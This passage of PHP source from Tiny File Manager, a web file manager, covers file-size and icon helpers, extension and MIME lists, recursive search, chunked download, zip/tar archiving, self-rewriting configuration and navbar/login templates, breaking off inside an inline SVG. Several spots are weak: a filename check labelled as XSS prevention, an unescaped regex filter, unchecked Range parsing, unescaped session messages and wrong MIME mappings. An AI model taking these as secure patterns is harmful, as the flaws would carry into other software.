* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get total size of directory tree.
*
* @param string $directory Relative or absolute directory name.
* @return int Total number of bytes.
*/
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false && $directory != '' && file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize($zip_entry),
'compressed_size' => zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
case 'xz':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return json
*/
function scan($dir, $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($dir) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
if(is_array($contentType)) {
$contentType = implode(' ', $contentType);
}
header("Cache-Control: public");
header("Content-Transfer-Encoding: binary\n");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
$size = filesize($fileLocation);
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
if ($size == 0) {
die('Zero byte file! Aborting download');
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
fseek($fp, $range);
while (!feof($fp) and (connection_status() == 0)) {
set_time_limit(0);
print(@fread($fp, 1024*$chunkSize));
flush();
ob_flush();
// sleep(1);
}
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'Tiny File Manager<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
//--- templates functions
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7 text-right">
<ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION[FM_SESSION_ID]['message'])) {
$class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
unset($_SESSION[FM_SESSION_ID]['message']);
unset($_SESSION[FM_SESSION_ID]['status']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fm_enc(APP_TITLE) ?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 